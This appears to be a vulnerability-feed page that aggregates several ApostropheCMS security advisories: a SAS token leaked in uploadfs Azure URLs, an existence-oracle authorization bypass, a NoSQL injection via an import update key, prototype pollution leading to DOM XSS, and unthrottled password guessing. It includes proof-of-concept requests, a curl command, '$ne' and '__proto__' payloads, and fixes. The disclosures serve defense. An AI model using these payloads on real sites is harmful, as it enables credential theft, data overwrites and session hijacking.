When uploadfs is configured with the Azure backend and `sas: true` (a supported configuration introduced in uploadfs 1.25.0), `createContainer()` builds the `BlobServiceClient` from a URL that embeds the full SAS query string, and Azure SDK v12 derived clients inherit that query string. As a result, `getUrl()` returns a base URL carrying the complete account/container SAS signature (`?sv=...&sig=...`), and Apostrophe's `attachment.url()` prepends it to every public attachment link — broadcasting a container-level SAS credential (commonly `sp=rwdlac`, full read/write/delete/list) to every site visitor, including anonymous ones. Anyone who can see an attachment URL can read, overwrite, delete, and list every blob in the container for the SAS lifetime. A companion functional bug (blob path appended after the query string, producing broken URLs) shows this code path was never exercised end to end. Shared-key mode (default) and non-Azure backends are not affected.

Verified at commit `5a3746aaed49761e171c2cbfe793267c959829fd` (uploadfs 1.27.0 in the apostrophe monorepo).
CVSS 5.6 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-hhph-8536-gfq5).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113652&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-hhph-8536-gfq5: https://github.com/advisories/GHSA-hhph-8536-gfq5
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113652&date=2026-10-25
## Summary

When uploadfs is configured with the Azure backend and `sas: true` (a supported configuration introduced in uploadfs 1.25.0), `createContainer()` builds the `BlobServiceClient` from a URL that embeds the full SAS query string, and Azure SDK v12 derived clients inherit that query string. As a result, `getUrl()` returns a base URL carrying the complete account/container SAS signature (`?sv=...&sig=...`), and Apostrophe's `attachment.url()` prepends it to every public attachment link — broadcasting a container-level SAS credential (commonly `sp=rwdlac`, full read/write/delete/list) to every site visitor, including anonymous ones. Anyone who can see an attachment URL can read, overwrite, delete, and list every blob in the container for the SAS lifetime. A companion functional bug (blob path appended after the query string, producing broken URLs) shows this code path was never exercised end to end. Shared-key mode (default) and non-Azure backends are not affected.

Verified at commit `5a3746aaed49761e171c2cbfe793267c959829fd` (uploadfs 1.27.0 in the apostrophe monorepo).

## Details

Root cause: a credential-bearing client URL is reused as the public base URL. The chain:

- Credential-embedded client: [azure.js#L123-L125](https://github.com/apostrophecms/apostrophe/blob/5a3746aaed49761e171c2cbfe793267c959829fd/packages/uploadfs/lib/storage/azure.js#L123-L125) — `new BlobServiceClient("https:// .blob.core.windows.net? ")` where `cluster.key` is the full SAS string including `sig`
- Leak point: [azure.js#L513-L520](https://github.com/apostrophecms/apostrophe/blob/5a3746aaed49761e171c2cbfe793267c959829fd/packages/uploadfs/lib/storage/azure.js#L513-L520) — `getUrl()` takes `getContainerClient(...).getBlobClient('').url` as `baseUrl`; SDK v12 derived clients inherit the SAS query string, so `baseUrl` already contains `?sv=...&sig=...`
- Public exposure: [attachment/index.js#L694](https://github.com/apostrophecms/apostrophe/blob/5a3746aaed49761e171c2cbfe793267c959829fd/packages/apostrophe/modules/@apostrophecms/attachment/index.js#L694) — `attachment.url()` = `uploadfs.getUrl() + path` for every rendered attachment link; [attachment/index.js#L1503](https://github.com/apostrophecms/apostrophe/blob/5a3746aaed49761e171c2cbfe793267c959829fd/packages/apostrophe/modules/@apostrophecms/attachment/index.js#L1503) — `getBrowserData()` also ships `uploadsUrl` to every logged-in editor session
- Companion bug: the blob path is appended **after** the query string (`/container/?sv=...&sig=XXX/attachments/id-name`), so these URLs are also broken — evidence the 1.25.0 code path was never tested

Attack surface: every public page rendering attachment URLs (images, download links), plus the `uploadsUrl` delivered to editor sessions. The leak is passive and unconditional — no action required from the victim beyond serving a page. The credential further propagates through HTML source, logs, Referer headers, and CDN/proxy access logs.

**Suggested remediation:**
1. Strip the query string before building public URLs: `const u = new URL(blob.svc.getContainerClient(...).getBlobClient('').url); u.search = '';` (or compose `accountUrl + '/' + container` manually), and append the blob path to the pathname, not after the query.
2. Document that SAS mode must use least privilege (read-only, ideally `sr=b` per-blob), and prefer generating short-lived per-blob read-only signed URLs via `generateBlobSASQueryParameters` instead of embedding a service-level SAS in permanent public URLs.

## PoC

Full PoC posted as the first comment below (`poc.js` + README; offline, no Azure account needed). It replicates the library's exact two steps with the declared dependency `@azure/storage-blob@12`:

1. `npm install @azure/storage-blob@12 && node poc.js`
2. The script constructs `new BlobServiceClient("https://myaccount.blob.core.windows.net?sv=...&sig=FAKESIGNATURE")` exactly like `createContainer()`, then evaluates the `getUrl()` logic (`getContainerClient('uploads-container').getBlobClient('').url`) and asserts the resulting base URL still contains the `sig` parameter.
3. Observed output (exit code 0):

```
baseUrl: https://myaccount.blob.core.windows.net/uploads-container/?sv=2021-06-08&ss=b&srt=co&sp=rwdlac&se=2099-01-01&sig=FAKESIGNATURE
attachment URL as served to visitors: https://myaccount.blob.core.windows.net/uploads-container/?sv=2021-06-08&ss=b&srt=co&sp=rwdlac&se=2099-01-01&sig=FAKESIGNATURE/attachments/abc123-photo.jpg
```

The produced URL both leaks the token (`sv`…`sig`) and demonstrates the broken path placement. Cross-checking `attachment/index.js` confirms this URL reaches public pages unmodified.

## Impact

- **What it is:** insufficiently protected credentials (CWE-522) leading to information exposure (CWE-200). A container-level SAS token — commonly granted `sp=rwdlac` (read/write/delete/list/ACL) — is disclosed to every site visitor including anonymous users, valid for the SAS lifetime (often years). Holders can read, overwrite, delete, and enumerate every attachment in the container; the library applies no narrowing.
- **Who is impacted:** Apostrophe sites using uploadfs with the Azure backend and `sas: true` (introduced in 1.25.0; present through 1.27.0). Default shared-key mode and other backends are unaffected. When the SAS is provisioned read-only, the impact reduces to unauthenticated read/download of all attachments.

---

Reported by **Kimi Security Team** (bug-report@moonshot.ai).

Affected package ranges reported by GitHub:
uploadfs: >= 1.25.0, < 1.28.0
Action: GitHub lists first patched versions: uploadfs: 1.28.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers
https://kevwire.com/record/CVE-2026-113660
ApostropheCMS: Authenticated Object-Level Authorization Bypass in exist-in-locale Reveals Restricted Localized Draft Identifiers (Oct 20, 2026).
**Summary**
ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.

The issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.
CVSS 4.3 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-vmxh-77cw-65j7).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113660&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-vmxh-77cw-65j7: https://github.com/advisories/GHSA-vmxh-77cw-65j7
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113660&date=2026-10-25
**Summary**
ApostropheCMS’s exist-in-locale API allows an authenticated low-privilege user to determine whether restricted documents exist in a specified locale and mode, including draft mode. The endpoint returns localized document identifiers without applying document-level view or edit authorization criteria.

The issue was reproduced against a real local ApostropheCMS application running the reviewed source code. The test used a synthetic guest account and synthetic restricted draft records.

**Details**
Exact vulnerable source path: ` packages/apostrophe/modules/@apostrophecms/i18n/index.js:503-529`
Exact API route:` POST /api/v1/@apostrophecms/i18n/exist-in-locale`
The handler verifies only that the requester is authenticated:

```
if (!req.user) {
 throw self.apos.error('notfound');
}
```
It then performs a direct database lookup using attacker-controlled document IDs, locale, and mode:

```
const found = await self.apos.doc.db.find({
 aposLocale: `${locale}:${mode}`,
 aposDocId: {
 $in: ids.map(self.apos.doc.toAposDocId)
 }
}).project({
 _id: 1,
 aposDocId: 1
}).toArray();
```
This query does not apply:

.permission('view')
.permission('edit')
apos.permission.criteria(req, 'view')
object-level document authorization
locale-specific authorization

The endpoint accepts multiple IDs, making bulk probing possible.

**Proof of Concept**

The local application was running at: http://127.0.0.1:3000
The test account had the low-privilege role: guest
The local database contained synthetic records for the restricted document base ID:
```
wv2l4rbaplgzkg80zkne4aoz:en:draft
wv2l4rbaplgzkg80zkne4aoz:fr:draft
```
All credentials and cookies are intentionally redacted below.

```
POST /api/v1/@apostrophecms/i18n/exist-in-locale HTTP/1.1
Host: 127.0.0.1:3000
Cookie: 
Content-Type: application/json
Accept: application/json

{
 "ids": [
 "wv2l4rbaplgzkg80zkne4aoz:en:draft",
 "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
 ],
 "locale": "fr",
 "mode": "draft"
}
```
**Equivalent command**
```
curl -i -sS -X POST \
 'http://127.0.0.1:3000/api/v1/@apostrophecms/i18n/exist-in-locale' \
 -b /path/to/redacted-guest-cookie-jar.txt \
 -H 'Content-Type: application/json' \
 -H 'Accept: application/json' \
 --data-raw '{
 "ids": [
 "wv2l4rbaplgzkg80zkne4aoz:en:draft",
 "ckzzzzzzzzzzzzzzzzzzzzzzz:en:draft"
 ],
 "locale": "fr",
 "mode": "draft"
 }'
```
**Observed response**
```
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
```

```
{
 "originalLocaleIds": [
 "wv2l4rbaplgzkg80zkne4aoz:en:draft"
 ],
 "newLocaleIds": [
 "wv2l4rbaplgzkg80zkne4aoz:fr:draft"
 ],
 "aposDocIds": [
 "wv2l4rbaplgzkg80zkne4aoz"
 ]
}
```
The nonexistent ID was omitted from the response. This proves that the endpoint acts as an existence oracle.

**Authorization control**
Using the same authenticated guest session and the localized document identifier returned above, the normal page API was requested:

```
GET /api/v1/@apostrophecms/page/wv2l4rbaplgzkg80zkne4aoz:fr:draft HTTP/1.1
Host: 127.0.0.1:3000
Cookie: 
Accept: application/json

```

**Observed response:**
```
HTTP/1.1 403 Forbidden
Content-Type: application/json; charset=utf-8
```
```
{
 "name": "forbidden",
 "data": {},
 "message": "forbidden"
}

```
This demonstrates the authorization boundary clearly:

| Request | Result |
| ----------------------------------------------- | ----------------------------------- |
| Normal page API for the restricted draft | `403 Forbidden` |
| `exist-in-locale` for the same restricted draft | `200 OK` with localized document ID |
| `exist-in-locale` for a nonexistent ID | `200 OK` with empty arrays |

**Additional impact validation**

The behavior was also tested across multiple locale and mode combinations:

| Query | Result |
| ----------------------------- | ---------------------------------------------------------- |
| `locale=fr`, `mode=draft` | Returned `wv2l4rbaplgzkg80zkne4aoz:fr:draft` |
| `locale=fr`, `mode=published` | Returned empty arrays because no published fixture existed |
| `locale=de`, `mode=draft` | Returned empty arrays because no German fixture existed |
| Two IDs in one request | Existing ID returned; nonexistent ID omitted |

This confirms that the endpoint can be used to discover whether a document has a localized draft in a particular locale and to perform bulk enumeration.

Impact
A low-privilege authenticated user can:
Probe arbitrary known or guessed document base IDs.
Determine whether restricted documents have localized versions.
Determine whether unpublished draft versions exist.
Identify which locales contain matching records.
Obtain exact localized document identifiers.
Submit multiple IDs in one request for bulk reconnaissance.
The issue does not directly disclose the document body or grant write, publish, or delete privileges. During testing, no content was modified, published, deleted, or exposed beyond the identifier metadata.

Recommended remediation
Before executing the database lookup, apply the same document-level authorization criteria used by the normal document API. The query should be restricted to documents the requester is authorized to view in the requested locale and mode. Draft queries should additionally require the appropriate draft-view permission for the specific document, not merely authentication or a global role check.
The endpoint should also avoid returning localized document identifiers for records that fail the requester’s document-level permission criteria.

[[1] ApostropheCMS i18n source — existInLocale handler, lines 503–529](https://github.com/apostrophecms/apostrophe/blob/61d137f31a0de15a8eb70b7e65032e0519fc6e61/packages/apostrophe/modules/@apostrophecms/i18n/index.js#L503-L529)

[[2] Official ApostropheCMS i18n API documentation](https://apostrophecms.com/docs/reference/api/i18n.html)

Affected package ranges reported by GitHub:
apostrophe: < 4.33.0
Action: GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS import-export: NoSQL injection via update-key value lets a crafted import match and overwrite an unidentified document
https://kevwire.com/record/CVE-2026-113662
ApostropheCMS import-export: NoSQL injection via update-key value lets a crafted import match and overwrite an unidentified document (Oct 20, 2026).
`@apostrophecms/import-export`'s update-by-key feature lets an imported
document carry a ` :key` property (for example `slug:key`) whose
value is used to find an existing document to update instead of inserting
a new one. `getUpdateKey()`/`insertOrUpdateDocWithKey()`
(`lib/methods/import.js`) use that value directly as a MongoDB query value
with no laundering:

```js
const matchingDraftPromise = manager.findForEditing(
 req.clone({ mode: 'draft' }),
 {
 aposMode: 'draft',
 [updateField]: doc[updateKey]
 }).toObject();
```
CVSS 5.4 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-jqw5-w6h3-44g6).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113662&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-jqw5-w6h3-44g6: https://github.com/advisories/GHSA-jqw5-w6h3-44g6
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113662&date=2026-10-25
## Summary

`@apostrophecms/import-export`'s update-by-key feature lets an imported
document carry a ` :key` property (for example `slug:key`) whose
value is used to find an existing document to update instead of inserting
a new one. `getUpdateKey()`/`insertOrUpdateDocWithKey()`
(`lib/methods/import.js`) use that value directly as a MongoDB query value
with no laundering:

```js
const matchingDraftPromise = manager.findForEditing(
 req.clone({ mode: 'draft' }),
 {
 aposMode: 'draft',
 [updateField]: doc[updateKey]
 }).toObject();
```

Archive documents are parsed with EJSON (see `lib/formats/gzip.js`), which
revives objects such as `{ $ne: null }` as live values, the same untrusted
data source and revival mechanism already fixed once in this module for
`findSingletonAposDocId`/`findParkedAposDocId` in GHSA-79qf-vqgc-7xx3. That
fix did not touch `insertOrUpdateDocWithKey`, so the identical class of bug
survives here: a crafted `"slug:key": { "$ne": null }` entry in an
archive's `aposDocs.json` makes the import match (and then update) an
existing document the archive's author never actually identified, instead
of failing to find a match.

## Impact

Reaching this requires only an authenticated session with import access to
the target type (the built-in contributor role holds this, matching the
precondition of GHSA-79qf-vqgc-7xx3), and no admin interaction. Because the
match uses a MongoDB operator instead of an exact value, it is not limited
to a document the importer already knows the identifying field of: any
existing document the importer has generic edit rights on and that
satisfies the operator (which `{ $ne: null }` trivially does for any doc
with a non-null value in that field) is a candidate, and Apostrophe's
`findForEditing` permission filter, not the update-key logic, is the only
thing narrowing which document actually gets matched and overwritten.

Live-verified: a contributor-role request importing a document containing
`"slug:key": { "$ne": null }` had its content applied to an existing,
unrelated draft article, overwriting its title, while the importer never
specified that article's real slug.

## Affected versions

Confirmed on `main` branch HEAD as of 2026-09-04,
`packages/import-export/lib/methods/import.js`.

## Suggested fix

Launder `doc[updateKey]` to a plain string (mirroring the fix already
applied to `type`/`aposLocale`/`parkedId` in GHSA-79qf-vqgc-7xx3) before
using it as a query value, and fall back to the insert path when it is not
a usable string.

Affected package ranges reported by GitHub:
@apostrophecms/import-export: < 3.7.0
Action: GitHub lists first patched versions: @apostrophecms/import-export: 3.7.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: Client-side Prototype Pollution in apos.http.parseQuery leading to DOM-based XSS against authenticated users
https://kevwire.com/record/CVE-2026-113659
ApostropheCMS: Client-side Prototype Pollution in apos.http.parseQuery leading to DOM-based XSS against authenticated users (Oct 20, 2026).
The client-side helper `apos.http.parseQuery()` in ApostropheCMS builds a nested object
from a URL query string without sanitizing the keys `__proto__`, `constructor`, or
`prototype`. Parsing an attacker-controlled query string therefore writes arbitrary
properties onto `Object.prototype` (client-side prototype pollution).

ApostropheCMS's admin UI calls this parser with `window.location.search` on **every
authenticated page load** (the admin context bar's `data()` initializer). Because the admin
UI is built on Vue, a polluted, enumerable property on `Object.prototype` is then picked up
by Vue's standard element-mount routine and written to the DOM as an element property,
turning the prototype pollution into DOM-based XSS in the victim's authenticated session.
The escalation gadget is a well-known, general Vue behavior; the novel,
reportable defect is the unsanitized `parseQuery` source together with the authenticated
trigger, both of which are ApostropheCMS code.
CVSS 6.1 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-m2m5-rw3w-cwmj).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113659&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-m2m5-rw3w-cwmj: https://github.com/advisories/GHSA-m2m5-rw3w-cwmj
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDozMDoyNlrOAAfvxw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDowMzo1N1rOAAfvxQ%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113659&date=2026-10-25
## Summary

The client-side helper `apos.http.parseQuery()` in ApostropheCMS builds a nested object
from a URL query string without sanitizing the keys `__proto__`, `constructor`, or
`prototype`. Parsing an attacker-controlled query string therefore writes arbitrary
properties onto `Object.prototype` (client-side prototype pollution).

ApostropheCMS's admin UI calls this parser with `window.location.search` on **every
authenticated page load** (the admin context bar's `data()` initializer). Because the admin
UI is built on Vue, a polluted, enumerable property on `Object.prototype` is then picked up
by Vue's standard element-mount routine and written to the DOM as an element property,
turning the prototype pollution into DOM-based XSS in the victim's authenticated session.
The escalation gadget is a well-known, general Vue behavior; the novel,
reportable defect is the unsanitized `parseQuery` source together with the authenticated
trigger, both of which are ApostropheCMS code.

Any user who can get **any logged-in user (from the lowest-privileged `guest` role up to the highest-privileged `admin` role)** to
open a crafted URL can execute arbitrary JavaScript in that user's session.

This is **distinct from CVE-2026-53609** (server-side prototype pollution via
`apos.util.set()` / `$pullAll`, fixed in 4.31.0): different side (client vs server),
different code path, and the vulnerable code here is present in the current release.

## Package

- **Ecosystem:** npm
- **Package:** `apostrophe`
- **Affected versions:** all **4.x** releases, **4.0.0 through 4.32.2** (current `latest`).
 Verified by inspecting the published npm tarballs: `apostrophe@4.0.0` already contains the
 vulnerable descent (`parentKey = 'root'`) with no `__proto__`/`constructor`/`prototype`
 filtering, and `apostrophe@4.32.2` is unchanged in this respect. The vulnerable
 `parseQuery()` logic was introduced in commit `0255086bf` (2020-11-12), well before the 4.0
 version, so **ApostropheCMS 3.x is also affected** (the same code ships in 3.x at the older
 build path `modules/@apostrophecms/util/ui/public/2-http.js`).
- **Patched versions:** none at time of writing.

## Details

The issue has three parts. Parts 1 and 2 are ApostropheCMS code and constitute the
reportable vulnerability. Part 3 is the escalation gadget, which is standard Vue behavior
and is included for completeness.

### 1. The pollution primitive: source (ApostropheCMS)

`modules/@apostrophecms/util/ui/src/http.js`, function `apos.http.parseQuery()`
(line ~301) and its inner `patch()` (lines ~317–354):

```js
function patch(key, value) {
 let match;
 let parentKey = 'root';
 let context = data; // data = {} (ordinary object)
 key = decodeURIComponent(key);
 const path = key.split('[');
 path.forEach(function(subKey) {
 if (subKey === ']') {
 /* array handling */
 } else if (subKey.match(/^\d+]/)) {
 /* numeric index handling */
 } else {
 match = subKey.replace(']', '');
 if (!context[parentKey]) { // (A) truthy check, not an own-property check
 context[parentKey] = {};
 }
 context = context[parentKey]; // (B) descends into whatever this resolves to
 parentKey = match;
 }
 });
 value = (value === null) ? value : decodeURIComponent(value);
 if (Array.isArray(context[parentKey])) {
 context[parentKey].push(value);
 } else if (context[parentKey] !== undefined) {
 context[parentKey] = [ context[parentKey], value ];
 } else {
 context[parentKey] = value; // (C) assignment onto the resolved object
 }
}
```

No `__proto__`, `constructor`, or `prototype` key is rejected. Walking the input
`__proto__[x]=v`:

1. Segment `__proto__`: at **(A)**, `context['__proto__']` resolves to the object's
 inherited prototype (truthy), so the `{}` initializer is skipped; at **(B)**, `context`
 becomes `Object.prototype`.
2. Segment `x`: at **(C)**, `Object.prototype['x'] = v`.

The truthy guard at **(A)** (rather than an own-property check) is what allows the descent
into the inherited prototype. Because the assignment at **(C)** is an ordinary property
write, the resulting `Object.prototype` property is **enumerable**,which matters for the
gadget (3).

### 2. The trigger: reached on every authenticated page load (ApostropheCMS)

`modules/@apostrophecms/admin-bar/ui/apos/components/TheAposContextBar.vue`. The component's
`data()` initializer (line ~64) runs when the admin context bar mounts (i.e. on every
authenticated page load), and passes the raw query string straight into the vulnerable
parser:

```js
data() {
 const query = apos.http.parseQuery(location.search); // (1) pollution, on mount
 const draftMode = query.aposMode || 'published';
 // ...
}
```

The same component's `refresh()` method (line ~606) passes `window.location.search` into
`parseQuery()` again on admin-bar refresh events, and folds it into `doc._url`
(re-parsed inside `apos.http.remote()`), providing additional trigger points.

The admin context bar mounts only when a session is present and the admin bundle loads, so
none of this executes for anonymous visitors, which is why the pollution is observed **only
when logged in**. All of this is core ApostropheCMS code (`node_modules/apostrophe/...`);
it is not introduced by any project or starter kit content.

### 3. The escalation gadget: Vue element mount (framework behavior; known, not novel)

The demonstrated payload pollutes the property `innerHTML`
(`__proto__[innerHTML]= `). The sink that consumes it is **Vue's
standard element-mount path**, not ApostropheCMS code. Confirmed in the bundled framework
(`vue` / `@vue/runtime-core` / `@vue/runtime-dom` all **3.5.42**):

`@vue/runtime-core` `mountElement`, prop enumeration (line ~5741):

```js
if (props) {
 for (const key in props) { // for...in walks the prototype chain
 if (key !== "value" && !shared.isReservedProp(key)) { // isReservedProp does NOT list innerHTML
 hostPatchProp(el, key, null, props[key], ...); // props["innerHTML"] → inherited polluted value
 }
 }
```

`@vue/runtime-dom` `patchDOMProp` (line ~583)

Affected package ranges reported by GitHub:
apostrophe: < 4.33.0
Action: GitHub lists first patched versions: apostrophe: 4.33.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing
https://kevwire.com/record/CVE-2026-113710
ApostropheCMS: No Attempt Throttling on Authenticated Password-Change Endpoint Enables Unlimited Current-Password Guessing (Oct 20, 2026).
**Summary**
The self-service password-change endpoint verifies the current password but does not use the login module’s failed-attempt counter, throttle, delay, or lockout mechanism. An attacker with a valid authenticated session can submit repeated guesses for the current password without receiving a lockout or throttle response.

**Exact source path**
packages/apostrophe/modules/@apostrophecms/settings/index.js:621-664
CVSS 5.9 (version 3.1; evidence as of Oct 20, 2026; https://github.com/advisories/GHSA-653j-g8j7-gh54).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113710&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-653j-g8j7-gh54: https://github.com/advisories/GHSA-653j-g8j7-gh54
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D
